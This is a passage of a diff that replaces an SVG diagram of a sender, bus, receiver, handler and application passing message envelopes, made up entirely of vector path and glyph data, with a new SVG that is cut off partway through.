-<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="600" viewBox="0 0 642 542"><defs><symbol overflow="visible" id="a"><path d="M1.281-13.86a9.944 9.944 0 0 1 1.438-.218c.531-.05 1.02-.078 1.469-.078.507 0 1 .062 1.468.187.469.125.875.34 1.219.64.352.306.629.7.828 1.188.207.48.313 1.09.313 1.829 0 1.105-.23 1.992-.688 2.656A3.328 3.328 0 0 1 5.5-6.313l.766.735L9.016 0H7.28l-3-6.094-1.5-.312V0h-1.5zm1.5 6.454h1.203c.758 0 1.36-.227 1.797-.688.438-.469.657-1.18.657-2.14 0-.739-.184-1.348-.547-1.829-.368-.476-.907-.718-1.625-.718-.274 0-.555.011-.844.031a3.876 3.876 0 0 0-.64.094zm0 0"/></symbol><symbol overflow="visible" id="b"><path d="M7.156-.688c-.312.305-.718.532-1.218.688a5.128 5.128 0 0 1-1.563.234c-.625 0-1.168-.12-1.625-.359-.46-.25-.84-.602-1.14-1.063-.305-.457-.528-1.003-.673-1.64A10.503 10.503 0 0 1 .734-5c0-1.707.313-3.004.938-3.89.633-.895 1.523-1.344 2.672-1.344.375 0 .742.046 1.11.14.362.094.69.281.984.563.289.273.523.664.703 1.172.187.511.28 1.171.28 1.984 0 .219-.01.46-.03.719-.024.261-.047.531-.079.812H2.234c0 .574.047 1.094.141 1.563.094.469.238.87.438 1.203.207.324.468.574.78.75.313.18.704.266 1.173.266.351 0 .707-.063 1.062-.188.352-.133.625-.297.813-.484zm-1.11-5.359c.02-1-.124-1.726-.437-2.187-.304-.47-.718-.704-1.25-.704-.617 0-1.105.235-1.468.704-.356.46-.563 1.187-.625 2.187zm0 0"/></symbol><symbol overflow="visible" id="c"><path d="M6.703-.5a3.32 3.32 0 0 1-1.14.547c-.43.125-.875.187-1.344.187-.637 0-1.18-.12-1.625-.359A2.859 2.859 0 0 1 1.53-1.188c-.273-.457-.476-1.007-.61-1.656A11.366 11.366 0 0 1 .735-5c0-1.707.301-3.004.907-3.89.613-.895 1.488-1.344 2.625-1.344.52 0 .96.046 1.328.14.375.094.695.215.968.36l-.406 1.25a3.462 3.462 0 0 0-1.734-.454c-.719 0-1.266.32-1.64.954-.368.625-.548 1.62-.548 2.984 0 .543.04 1.059.125 1.547.082.48.22.898.407 1.25.187.344.425.621.718.828.29.21.657.313 1.094.313.344 0 .664-.055.969-.172.3-.125.547-.266.734-.422zm0 0"/></symbol><symbol overflow="visible" id="d"><path d="M1.422-10h1.437V0H1.422zm-.266-3.047c0-.312.086-.566.266-.765a.926.926 0 0 1 .719-.313.96.96 0 0 1 .718.297c.196.187.297.45.297.781 0 .324-.101.578-.297.766-.187.18-.43.265-.718.265a.971.971 0 0 1-.72-.28c-.179-.188-.265-.438-.265-.75zm0 0"/></symbol><symbol overflow="visible" id="e"><path d="M3.594-4.14L4-2.157h.047l.36-2.031L6.156-10h1.53L4.267.219h-.704L.079-10h1.64zm0 0"/></symbol><symbol overflow="visible" id="f"><path d="M1.188-10h1.015l.25 1.063h.063c.187-.383.43-.688.734-.907.3-.226.664-.344 1.094-.344.3 0 .644.063 1.031.188l-.281 1.453a2.973 2.973 0 0 0-.907-.172c-.43 0-.777.125-1.046.375-.274.242-.446.57-.516.985V0H1.187zm0 0"/></symbol><symbol overflow="visible" id="g"><path d="M8.219-10.813c0 .344-.043.688-.125 1.032-.074.344-.2.672-.375.984-.18.305-.399.574-.657.813a2.42 2.42 0 0 1-.937.546v.079c.313.062.613.171.906.328.301.156.563.37.782.64.226.274.41.606.546 1 .133.399.204.868.204 1.407 0 .718-.118 1.343-.344 1.875-.23.53-.543.964-.938 1.296-.386.336-.84.579-1.36.735a5.541 5.541 0 0 1-1.624.234H3.64c-.243 0-.5-.011-.782-.031a25.977 25.977 0 0 1-.828-.078 4.932 4.932 0 0 1-.75-.14v-13.782c.395-.082.864-.148 1.407-.203.539-.05 1.124-.078 1.75-.078.457 0 .91.043 1.359.125.457.086.863.246 1.219.484.363.242.656.578.875 1.016.218.437.328 1.011.328 1.719zM4.422-1.219c.351 0 .68-.054.984-.172.313-.113.582-.28.813-.5a2.43 2.43 0 0 0 .562-.828c.133-.332.203-.719.203-1.156 0-.55-.086-.992-.25-1.328A2.029 2.029 0 0 0 6.078-6a2.21 2.21 0 0 0-.906-.375 5.234 5.234 0 0 0-1.047-.11H2.781v5.126c.082.03.188.054.313.062.125.012.258.027.406.047.156.012.313.023.469.031h.453zM3.594-7.78c.187 0 .398-.004.64-.016a4.08 4.08 0 0 0 .61-.062 3.05 3.05 0 0 0 1.265-.97c.352-.444.532-1 .532-1.655 0-.438-.063-.805-.188-1.11a1.651 1.651 0 0 0-.484-.703c-.211-.176-.453-.3-.735-.375a3.604 3.604 0 0 0-.875-.11c-.343 0-.656.012-.937.032-.281.023-.496.043-.64.063v4.906zm0 0"/></symbol><symbol overflow="visible" id="h"><path d="M2.484-10v6.125c0 1.012.098 1.734.297 2.172.207.43.586.64 1.14.64.282 0 .532-.054.75-.171.22-.114.411-.258.579-.438.176-.187.332-.398.469-.64.133-.25.242-.5.328-.75V-10h1.437v7.156c0 .48.016.98.047 1.5.032.512.082.961.157 1.344H6.655l-.36-1.406h-.062c-.218.449-.543.836-.968 1.156-.43.32-.965.484-1.61.484-.43 0-.804-.054-1.125-.156A1.725 1.725 0 0 1 1.72-.5c-.23-.281-.403-.66-.516-1.14-.105-.489-.156-1.114-.156-1.876V-10zm0 0"/></symbol><symbol overflow="visible" id="i"><path d="M1.016-1.64a4.6 4.6 0 0 0 .953.406c.363.117.738.171 1.125.171.445 0 .82-.109 1.125-.328.312-.218.468-.57.468-1.062 0-.414-.093-.754-.28-1.016a3.06 3.06 0 0 0-.72-.719 6.653 6.653 0 0 0-.921-.593 5.605 5.605 0 0 1-.938-.657 3.284 3.284 0 0 1-.703-.89C.937-6.68.844-7.125.844-7.656c0-.852.226-1.492.687-1.922.457-.438 1.11-.656 1.953-.656.54 0 1.008.054 1.407.156.406.094.754.226 1.046.39l-.375 1.204a4.009 4.009 0 0 0-.875-.329 4.333 4.333 0 0 0-1.03-.124c-.481 0-.829.101-1.048.296-.218.2-.328.512-.328.938 0 .336.094.621.281.86.188.23.422.445.704.64.289.187.601.387.937.594.332.199.64.433.922.703.29.273.531.601.719.984.187.375.281.852.281 1.422 0 .375-.063.73-.188 1.063a2.273 2.273 0 0 1-.546.875c-.25.242-.559.433-.922.578a3.478 3.478 0 0 1-1.282.218c-.593 0-1.105-.058-1.53-.172-.43-.101-.79-.25-1.079-.437zm0 0"/></symbol><symbol overflow="visible" id="j"><path d="M7.938-6.453H2.78V0h-1.5v-14h1.5v6.156h5.156V-14h1.5V0h-1.5zm0 0"/></symbol><symbol overflow="visible" id="k"><path d="M1.078-9.406c.383-.239.852-.422 1.406-.547a7.435 7.435 0 0 1 1.75-.203c.563 0 1.008.086 1.344.25.344.168.613.398.813.687.195.281.32.606.375.969.062.367.093.75.093 1.156 0 .793-.015 1.57-.046 2.328a53.04 53.04 0 0 0-.047 2.172c0 .5.015.969.046 1.406.032.43.094.84.188 1.235H5.906l-.343-1.188h-.079a2.73 2.73 0 0 1-.89.907C4.207.016 3.69.14 3.047.14c-.73 0-1.324-.25-1.781-.75-.461-.5-.688-1.192-.688-2.079 0-.57.094-1.05.281-1.437.196-.383.473-.695.829-.938a3.346 3.346 0 0 1 1.265-.5 7.995 7.995 0 0 1 1.625-.156h.406c.133 0 .274.008.422.016.032-.406.047-.77.047-1.094 0-.758-.117-1.289-.344-1.594-.218-.312-.632-.468-1.234-.468a4.89 4.89 0 0 0-1.219.171 4.705 4.705 0 0 0-1.094.422zm4.344 4.844c-.137-.008-.274-.016-.406-.016-.137-.008-.266-.016-.391-.016-.324 0-.64.028-.953.078a2.594 2.594 0 0 0-.813.282 1.485 1.485 0 0 0-.578.53c-.136.231-.203.517-.203.86 0 .531.129.95.39 1.25.259.293.598.438 1.016.438.551 0 .977-.13 1.282-.39.312-.27.53-.567.656-.891zm0 0"/></symbol><symbol overflow="visible" id="l"><path d="M6.297 0v-6.094c0-1-.121-1.722-.36-2.172-.23-.445-.64-.671-1.234-.671-.531 0-.976.164-1.328.484a2.71 2.71 0 0 0-.75 1.172V0H1.187v-10H2.22l.265 1.063h.063a3.1 3.1 0 0 1 1.015-.922c.438-.25.958-.375 1.563-.375.426 0 .8.062 1.125.187.32.117.594.32.813.61.226.28.394.664.5 1.14.113.48.171 1.086.171 1.813V0zm0 0"/></symbol><symbol overflow="visible" id="m"><path d="M7.484-3.438c0 .68.004 1.293.016 1.844.008.555.055 1.102.14 1.64h-.984l-.312-1.202h-.078c-.188.398-.485.73-.891 1-.398.258-.875.39-1.438.39-1.085 0-1.89-.414-2.421-1.25C.992-1.859.734-3.18.734-4.984c0-1.707.32-3 .97-3.875.655-.883 1.546-1.329 2.671-1.329.383 0 .691.028.922.079.226.043.476.12.75.234V-14h1.437zM6.047-8.421a1.848 1.848 0 0 0-.64-.344c-.231-.07-.54-.109-.923-.109-.71 0-1.261.324-1.656.969-.398.636-.594 1.62-.594 2.953 0 .586.036 1.117.11 1.594.07.468.187.875.344 1.218.156.344.351.61.593.797.25.188.555.282.922.282.957 0 1.57-.567 1.844-1.704zm0 0"/></symbol><symbol overflow="visible" id="n"><path d="M2.719-2.375c0 .46.062.793.187 1 .125.2.301.297.531.297.282 0 .61-.07.985-.219l.14 1.156c-.18.106-.421.188-.734.25-.312.07-.594.11-.844.11-.511 0-.921-.157-1.234-.469-.313-.313-.469-.863-.469-1.656V-14H2.72zm0 0"/></symbol><symbol overflow="visible" id="o"><path d="M.734-5c0-1.8.305-3.125.922-3.969.625-.844 1.508-1.265 2.657-1.265 1.226 0 2.132.433 2.718 1.296.582.868.875 2.18.875 3.938 0 1.813-.32 3.14-.953 3.984-.625.836-1.508 1.25-2.64 1.25-1.22 0-2.122-.43-2.704-1.296C1.023-1.926.734-3.239.734-5zm1.5 0c0 .586.036 1.117.11 1.594.07.48.191.898.36 1.25.163.344.382.617.655.812.27.188.586.282.954.282.695 0 1.218-.305 1.562-.922.352-.625.531-1.63.531-3.016 0-.57-.039-1.098-.11-1.578a4.47 4.47 0 0 0-.359-1.25c-.167-.352-.386-.625-.656-.813a1.62 1.62 0 0 0-.968-.296c-.68 0-1.196.312-1.547.937-.356.625-.532 1.625-.532 3zm0 0"/></symbol><symbol overflow="visible" id="p"><path d="M1.188-10h1.015l.219 1.078H2.5c.488-.875 1.258-1.312 2.313-1.312 1.062 0 1.851.398 2.375 1.187.53.781.796 2.063.796 3.844 0 .844-.09 1.605-.265 2.281-.18.668-.43 1.242-.75 1.719A3.27 3.27 0 0 1 5.812-.125c-.46.238-.968.36-1.53.36-.387 0-.696-.028-.923-.079a2.43 2.43 0 0 1-.734-.281V4H1.187zm1.437 8.422c.188.156.395.281.625.375.227.094.54.14.938.14.695 0 1.253-.359 1.671-1.078.414-.718.625-1.742.625-3.078 0-.562-.039-1.066-.109-1.515a4.02 4.02 0 0 0-.36-1.172 1.925 1.925 0 0 0-.609-.766c-.242-.176-.543-.265-.906-.265-.969 0-1.594.593-1.875 1.78zm0 0"/></symbol><symbol overflow="visible" id="r"><path d="M1.875-1.344h2.266v-9.734l.171-1.188-.671.97-1.688 1.358-.75-.906 3.64-3.39h.735v12.89h2.188V0H1.875zm0 0"/></symbol><symbol overflow="visible" id="s"><path d="M1.188-1.86c.25.18.601.344 1.062.5.457.15.977.22 1.563.22.75 0 1.359-.18 1.828-.548.468-.363.703-.94.703-1.734 0-.52-.137-.973-.407-1.36a4.904 4.904 0 0 0-1-1.062 15.135 15.135 0 0 0-1.296-.968 10 10 0 0 1-1.282-1.032 5.407 5.407 0 0 1-1-1.312c-.273-.5-.406-1.094-.406-1.781 0-1.126.336-1.954 1.016-2.485.676-.539 1.55-.812 2.625-.812.664 0 1.258.062 1.781.187.52.117.941.266 1.266.453l-.485 1.313c-.242-.145-.586-.274-1.031-.39a5.786 5.786 0 0 0-1.547-.188c-.719 0-1.258.18-1.61.53-.343.356-.515.798-.515 1.329 0 .469.133.887.406 1.25.27.355.602.695 1 1.016.395.312.82.636 1.282.968a8.9 8.9 0 0 1 1.296 1.094c.407.399.739.852 1 1.36.27.5.407 1.101.407 1.796 0 1.168-.352 2.086-1.047 2.75-.688.668-1.668 1-2.938 1C3.055.234 2.4.16 1.891.016 1.379-.13.969-.297.656-.484zm0 0"/></symbol><symbol overflow="visible" id="t"><path d="M6.656-3.922H2.703L1.578 0H.094l4.218-14.219h.829L9.359 0H7.797zM3.094-5.266h3.203L5.078-9.578l-.375-2.11h-.047l-.375 2.141zm0 0"/></symbol><symbol overflow="visible" id="u"><path d="M.188-10h1.218v-1.984l1.438-.454V-10H5v1.297H2.844v5.969c0 .586.066 1.007.203 1.265.144.262.375.39.687.39.27 0 .5-.03.688-.093.195-.062.41-.14.64-.234l.282 1.14a4.299 4.299 0 0 1-.969.344 4.34 4.34 0 0 1-1.11.14c-.667 0-1.148-.214-1.437-.64-.281-.437-.422-1.144-.422-2.125v-6.156H.188zm0 0"/></symbol><symbol overflow="visible" id="v"><path d="M7.36-10.938c0 .731-.11 1.497-.329 2.297-.218.805-.5 1.594-.843 2.375a19.589 19.589 0 0 1-1.141 2.25c-.418.72-.828 1.36-1.234 1.922l-.797.875v.063l1.062-.188h3.5V0H1.094v-.64c.258-.301.554-.688.89-1.157.332-.469.676-.976 1.032-1.531.351-.55.695-1.133 1.03-1.75.345-.625.645-1.254.907-1.89.27-.645.488-1.282.656-1.907.164-.625.25-1.227.25-1.813 0-.675-.156-1.21-.468-1.609-.313-.406-.774-.61-1.375-.61a3.02 3.02 0 0 0-1.125.22 3.349 3.349 0 0 0-.954.53l-.562-1.062c.363-.32.805-.57 1.328-.75a5.085 5.085 0 0 1 1.64-.265c.977 0 1.723.304 2.235.906.52.605.781 1.402.781 2.39zm0 0"/></symbol></defs><path fill="#fff" d="M0 0h642v542H0z"/><path d="M1 1h640v540H1zm0 0" fill-rule="evenodd" fill="#fff" stroke-width="2" stroke="#fff" stroke-miterlimit="10"/><path d="M65.57 221h83.239v63.707H65.57zm0 0M65.57 227v-6c-3.312 0-6 2.688-6 6zm0 0M148.809 227h6c0-3.313-2.684-6-6-6zm0 0" fill-rule="evenodd" fill="#fddfbb"/><path d="M59.57 227h95.239v51.707H59.57zm0 0M65.57 278.707h-6c0 3.313 2.688 6 6 6zm0 0M148.809 278.707v6c3.316 0 6-2.687 6-6zm0 0" fill-rule="evenodd" fill="#fddfbb"/><path d="M65.57 221h83.239M65.57 284.707h83.239M65.57 221c-3.312 0-6 2.687-6 6M154.809 227a6 6 0 0 0-6-6M59.57 227v51.707M154.809 227v51.707M59.57 278.707c0 3.313 2.688 6 6 6M148.809 284.707a6 6 0 0 0 6-6" fill="none" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><use xlink:href="#a" x="78.246" y="260.805"/><use xlink:href="#b" x="87.094" y="260.805"/><use xlink:href="#c" x="95.219" y="260.805"/><use xlink:href="#b" x="102.035" y="260.805"/><use xlink:href="#d" x="110.297" y="260.805"/><use xlink:href="#e" x="114.633" y="260.805"/><use xlink:href="#b" x="122.387" y="260.805"/><use xlink:href="#f" x="130.648" y="260.805"/><path d="M207 221h228v63.707H207zm0 0M207 227v-6c-3.313 0-6 2.688-6 6zm0 0M435 227h6c0-3.313-2.688-6-6-6zm0 0" fill-rule="evenodd" fill="#fddfbb"/><path d="M201 227h240v51.707H201zm0 0M207 278.707h-6c0 3.313 2.688 6 6 6zm0 0M435 278.707v6c3.313 0 6-2.687 6-6zm0 0" fill-rule="evenodd" fill="#fddfbb"/><path d="M207 221h228M207 284.707h228M207 221c-3.312 0-6 2.687-6 6M441 227c0-3.312-2.687-6-6-6M201 227v51.707M441 227v51.707M201 278.707c0 3.313 2.687 6 6 6M435 284.707c3.312 0 6-2.687 6-6" fill="none" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><use xlink:href="#g" x="308.578" y="260.805"/><use xlink:href="#h" x="317.992" y="260.805"/><use xlink:href="#i" x="326.664" y="260.805"/><path d="M169.555 441h123.238v63.707H169.555zm0 0M169.555 447v-6c-3.313 0-6 2.688-6 6zm0 0M292.793 447h6c0-3.313-2.688-6-6-6zm0 0" fill-rule="evenodd" fill="#b2d4eb"/><path d="M163.555 447h135.238v51.707H163.555zm0 0M169.555 498.707h-6c0 3.313 2.687 6 6 6zm0 0M292.793 498.707v6c3.312 0 6-2.687 6-6zm0 0" fill-rule="evenodd" fill="#b2d4eb"/><path d="M169.555 441h123.238M169.555 504.707h123.238M169.555 441c-3.313 0-6 2.687-6 6M298.793 447c0-3.312-2.688-6-6-6M163.555 447v51.707M298.793 447v51.707M163.555 498.707c0 3.313 2.687 6 6 6M292.793 504.707c3.312 0 6-2.687 6-6" fill="none" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><use xlink:href="#j" x="203.887" y="480.805"/><use xlink:href="#k" x="214.609" y="480.805"/><use xlink:href="#l" x="222.617" y="480.805"/><use xlink:href="#m" x="231.406" y="480.805"/><use xlink:href="#n" x="240.059" y="480.805"/><use xlink:href="#b" x="244.727" y="480.805"/><use xlink:href="#f" x="252.988" y="480.805"/><path d="M107.191 176.852V210" fill="none" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><path d="M102.191 210l5 10 5-10zm0 0" fill-rule="evenodd" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><path d="M154.809 252.852H190" fill="none" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><path d="M190 257.852l10-5-10-5zm0 0" fill-rule="evenodd" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><path d="M441 252.852h49" fill="none" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><path d="M490 257.852l10-5-10-5zm0 0" fill-rule="evenodd" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><path d="M127.191 58.074c0 11.047-8.957 20-20 20-11.046 0-20-8.953-20-20 0-11.043 8.954-20 20-20 11.043 0 20 8.957 20 20" fill-rule="evenodd" fill="#b2d4eb" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><path d="M57.191 123.992h100v51.785c-20-8.632-30-8.632-50 0-20 8.63-30 8.63-50 0v-51.785" fill-rule="evenodd" fill="#f2f2f2" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><use xlink:href="#b" x="68.91" y="153.188"/><use xlink:href="#l" x="77.172" y="153.188"/><use xlink:href="#e" x="85.961" y="153.188"/><use xlink:href="#b" x="93.715" y="153.188"/><use xlink:href="#n" x="101.977" y="153.188"/><use xlink:href="#o" x="106.645" y="153.188"/><use xlink:href="#p" x="115.277" y="153.188"/><use xlink:href="#b" x="123.969" y="153.188"/><use xlink:href="#q" x="132.23" y="153.188"/><use xlink:href="#r" x="136.469" y="153.188"/><path d="M507 221h83.238v63.707H507zm0 0M507 227v-6c-3.313 0-6 2.688-6 6zm0 0M590.238 227h6c0-3.313-2.687-6-6-6zm0 0" fill-rule="evenodd" fill="#fddfbb"/><path d="M501 227h95.238v51.707H501zm0 0M507 278.707h-6c0 3.313 2.688 6 6 6zm0 0M590.238 278.707v6c3.313 0 6-2.687 6-6zm0 0" fill-rule="evenodd" fill="#fddfbb"/><path d="M507 221h83.238M507 284.707h83.238M507 221c-3.312 0-6 2.687-6 6M596.238 227c0-3.312-2.687-6-6-6M501 227v51.707M596.238 227v51.707M501 278.707c0 3.313 2.687 6 6 6M590.238 284.707c3.313 0 6-2.687 6-6" fill="none" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><use xlink:href="#s" x="524.617" y="260.805"/><use xlink:href="#b" x="533.172" y="260.805"/><use xlink:href="#l" x="541.434" y="260.805"/><use xlink:href="#m" x="550.223" y="260.805"/><use xlink:href="#b" x="558.875" y="260.805"/><use xlink:href="#f" x="567.137" y="260.805"/><path d="M107.191 78.074v34.918" fill="none" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><path d="M102.191 112.992l5 10 5-10zm0 0" fill-rule="evenodd" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><path d="M346.148 441h123.239v63.707H346.148zm0 0M346.148 447v-6c-3.312 0-6 2.688-6 6zm0 0" fill-rule="evenodd" fill="#b2d4eb"/><path d="M469.387 447h6c0-3.313-2.688-6-6-6zm0 0M340.148 447h135.239v51.707H340.148zm0 0M346.148 498.707h-6c0 3.313 2.688 6 6 6zm0 0M469.387 498.707v6c3.312 0 6-2.687 6-6zm0 0" fill-rule="evenodd" fill="#b2d4eb"/><path d="M346.148 441h123.239M346.148 504.707h123.239M346.148 441c-3.312 0-6 2.687-6 6M475.387 447c0-3.312-2.688-6-6-6M340.148 447v51.707M475.387 447v51.707M340.148 498.707c0 3.313 2.688 6 6 6M469.387 504.707c3.312 0 6-2.687 6-6" fill="none" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><g><use xlink:href="#t" x="368.645" y="480.805"/><use xlink:href="#p" x="378.098" y="480.805"/><use xlink:href="#p" x="386.789" y="480.805"/><use xlink:href="#n" x="395.48" y="480.805"/><use xlink:href="#d" x="400.148" y="480.805"/><use xlink:href="#c" x="404.484" y="480.805"/><use xlink:href="#k" x="411.613" y="480.805"/><use xlink:href="#u" x="419.621" y="480.805"/><use xlink:href="#d" x="425.129" y="480.805"/><use xlink:href="#o" x="429.465" y="480.805"/><use xlink:href="#l" x="438.098" y="480.805"/></g><path d="M407.77 441l-.344-145.293" fill="none" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><path d="M412.426 295.695l-5.028-9.988-4.972 10.012zm0 0" fill-rule="evenodd" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><path d="M231.195 284.707L231.175 430" fill="none" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><path d="M226.176 430l5 10 5-10zm0 0" fill-rule="evenodd" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><path d="M548.957 187.496L548.621 221" fill="none" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><path d="M553.957 187.547l-4.898-10.05-5.102 9.948zm0 0" fill-rule="evenodd" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><path d="M569.297 57.64c0 11.047-8.957 20-20 20-11.047 0-20-8.953-20-20 0-11.046 8.953-20 20-20 11.043 0 20 8.954 20 20" fill-rule="evenodd" fill="#b2d4eb" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><path d="M499.297 123.555h100v51.78c-20-8.628-30-8.628-50 0-20 8.634-30 8.634-50 0v-51.78" fill-rule="evenodd" fill="#f2f2f2" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><g><use xlink:href="#b" x="511.016" y="152.75"/><use xlink:href="#l" x="519.277" y="152.75"/><use xlink:href="#e" x="528.066" y="152.75"/><use xlink:href="#b" x="535.82" y="152.75"/><use xlink:href="#n" x="544.082" y="152.75"/><use xlink:href="#o" x="548.75" y="152.75"/><use xlink:href="#p" x="557.383" y="152.75"/><use xlink:href="#b" x="566.074" y="152.75"/><use xlink:href="#q" x="574.336" y="152.75"/><use xlink:href="#v" x="578.574" y="152.75"/></g><path d="M549.297 88.64v34.915" fill="none" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><path d="M554.297 88.64l-5-10-5 10zm0 0" fill-rule="evenodd" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><path d="M21 317.594h600" fill="none" stroke-width="2" stroke="#000" stroke-dasharray=".1,.1" stroke-miterlimit="10"/><path d="M181 345.258h100v51.785c-20-8.633-30-8.633-50 0-20 8.629-30 8.629-50 0v-51.785" fill-rule="evenodd" fill="#f2f2f2" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><g><use xlink:href="#b" x="192.719" y="374.453"/><use xlink:href="#l" x="200.98" y="374.453"/><use xlink:href="#e" x="209.77" y="374.453"/><use xlink:href="#b" x="217.523" y="374.453"/><use xlink:href="#n" x="225.785" y="374.453"/><use xlink:href="#o" x="230.453" y="374.453"/><use xlink:href="#p" x="239.086" y="374.453"/><use xlink:href="#b" x="247.777" y="374.453"/><use xlink:href="#q" x="256.039" y="374.453"/><use xlink:href="#r" x="260.277" y="374.453"/></g><path d="M356.742 345.258h100v51.785c-20-8.633-30-8.633-50 0-20 8.629-30 8.629-50 0v-51.785" fill-rule="evenodd" fill="#f2f2f2" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><g><use xlink:href="#b" x="368.461" y="374.453"/><use xlink:href="#l" x="376.723" y="374.453"/><use xlink:href="#e" x="385.512" y="374.453"/><use xlink:href="#b" x="393.266" y="374.453"/><use xlink:href="#n" x="401.527" y="374.453"/><use xlink:href="#o" x="406.195" y="374.453"/><use xlink:href="#p" x="414.828" y="374.453"/><use xlink:href="#b" x="423.52" y="374.453"/><use xlink:href="#q" x="431.781" y="374.453"/><use xlink:href="#v" x="436.02" y="374.453"/></g></svg>
+<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="600" viewBox="0 0 642 542"><defs><symbol id="a" overflow="visible"><path d="M10.047-10.125c-.086-.906-.418-1.586-1-2.047-.574-.457-1.402-.687-2.485-.687-.98 0-1.777.183-2.39.546-.606.368-.906.899-.906 1.594 0 .617.234 1.074.703 1.375.469.305 1.375.606 2.719.906 1.175.262 2.14.528 2.89.797.75.274 1.39.7 1.922 1.282.54.574.813 1.343.813 2.312 0 1.23-.497 2.258-1.485 3.078C9.848-.156 8.57.25 7 .25c-2.012 0-3.516-.445-4.516-1.344-1-.906-1.527-2.07-1.578-3.5l1.797-.156c.082 1.148.52 1.98 1.313 2.5.8.523 1.77.781 2.906.781 1.062 0 1.922-.218 2.578-.656.656-.438.984-1.023.984-1.766 0-.78-.343-1.347-1.03-1.703-.688-.363-1.84-.718-3.454-1.062-1.605-.352-2.762-.844-3.469-1.469-.71-.633-1.062-1.457-1.062-2.469 0-1.144.445-2.094 1.343-2.844.895-.75 2.118-1.124 3.672-1.124 1.594 0 2.868.374 3.829 1.124.968.743 1.484 1.797 1.546 3.172Zm0 0" style="stroke:none"/></symbol><symbol id="b" overflow="visible"><path d="M10.344-4.734H2.578c.07 1.148.399 2.023.985 2.625.582.605 1.312.906 2.187.906.664 0 1.223-.176 1.672-.531.457-.352.812-.891 1.062-1.61l1.797.235c-.293 1.074-.828 1.902-1.61 2.484-.78.586-1.757.875-2.921.875-1.563 0-2.781-.477-3.656-1.438C1.219-2.144.78-3.445.78-5.094c0-1.633.422-2.957 1.266-3.968.851-1.02 2.05-1.532 3.594-1.532.757 0 1.488.168 2.187.5.695.336 1.29.903 1.781 1.703.489.793.735 2.012.735 3.657ZM8.53-6.188c-.074-1.05-.402-1.804-.984-2.265-.574-.469-1.211-.703-1.906-.703-.825 0-1.508.277-2.047.828-.531.555-.84 1.265-.922 2.14Zm0 0" style="stroke:none"/></symbol><symbol id="c" overflow="visible"><path d="M9.813 0H8.03v-6.297c0-1.062-.195-1.789-.578-2.187-.375-.395-.902-.594-1.578-.594-.523 0-1.016.125-1.484.375-.461.25-.79.61-.985 1.078-.199.46-.297 1.11-.297 1.953V0H1.36v-10.36h1.579v1.47h.046c.364-.57.817-1 1.36-1.282.55-.281 1.18-.422 1.89-.422.551 0 1.094.102 1.625.297.532.188.946.48 1.25.875.313.387.504.805.579 1.25.082.438.124 1.04.124 1.797Zm0 0" style="stroke:none"/></symbol><symbol id="d" overflow="visible"><path d="M9.719 0h-1.64v-1.313H8.03C7.406-.27 6.453.25 5.171.25c-1.273 0-2.335-.504-3.187-1.516C1.141-2.273.72-3.578.72-5.172c0-1.676.398-3 1.203-3.969.8-.968 1.86-1.453 3.172-1.453 1.238 0 2.18.469 2.828 1.406h.031v-5.124H9.72Zm-4.36-1.203c.77 0 1.422-.313 1.954-.938.53-.632.796-1.593.796-2.875 0-1.27-.246-2.273-.734-3.015-.48-.75-1.18-1.125-2.094-1.125-.906 0-1.593.367-2.062 1.094-.469.73-.703 1.695-.703 2.89 0 .856.125 1.586.375 2.188.25.593.597 1.043 1.046 1.343.458.293.93.438 1.422.438Zm0 0" style="stroke:none"/></symbol><symbol id="e" overflow="visible"><path d="m6.922-10.047-.61 1.625c-.43-.25-.851-.375-1.265-.375-.668 0-1.172.297-1.516.89-.336.587-.5 1.407-.5 2.47V0h-1.75v-10.36h1.594v1.563h.047c.562-1.195 1.297-1.797 2.203-1.797.594 0 1.191.184 1.797.547Zm0 0" style="stroke:none"/></symbol><symbol id="f" overflow="visible"><path d="M9.625-7.625c.895.281 1.566.73 2.016 1.344a3.54 3.54 0 0 1 .671 2.125 4.14 4.14 0 0 1-.609 2.203A3.67 3.67 0 0 1 9.984-.47C9.242-.156 8.238 0 6.97 0H1.484v-14.313H6.86c1.739 0 2.961.383 3.672 1.141.719.75 1.078 1.586 1.078 2.5 0 .625-.168 1.203-.5 1.735-.336.53-.828.968-1.484 1.312Zm-6.25-.703h3.11c.632 0 1.163-.031 1.593-.094.438-.07.82-.258 1.156-.562.332-.313.5-.79.5-1.438 0-.676-.168-1.176-.5-1.5a2.2 2.2 0 0 0-1.203-.594 12.46 12.46 0 0 0-1.797-.109H3.375Zm0 6.625h3.563c1.28 0 2.164-.219 2.656-.656.5-.438.75-1.036.75-1.797 0-.782-.266-1.383-.797-1.813-.524-.437-1.469-.656-2.844-.656H3.375Zm0 0" style="stroke:none"/></symbol><symbol id="g" overflow="visible"><path d="M9.734 0H8.172v-1.531h-.063C7.316-.344 6.234.25 4.86.25a4.14 4.14 0 0 1-2-.5c-.617-.344-1.027-.805-1.234-1.39-.21-.594-.313-1.36-.313-2.298v-6.421h1.766v5.734c0 .918.04 1.578.125 1.984.094.399.32.727.688.985.375.25.816.375 1.328.375.664 0 1.289-.227 1.875-.688.593-.457.89-1.41.89-2.86v-5.53h1.75Zm0 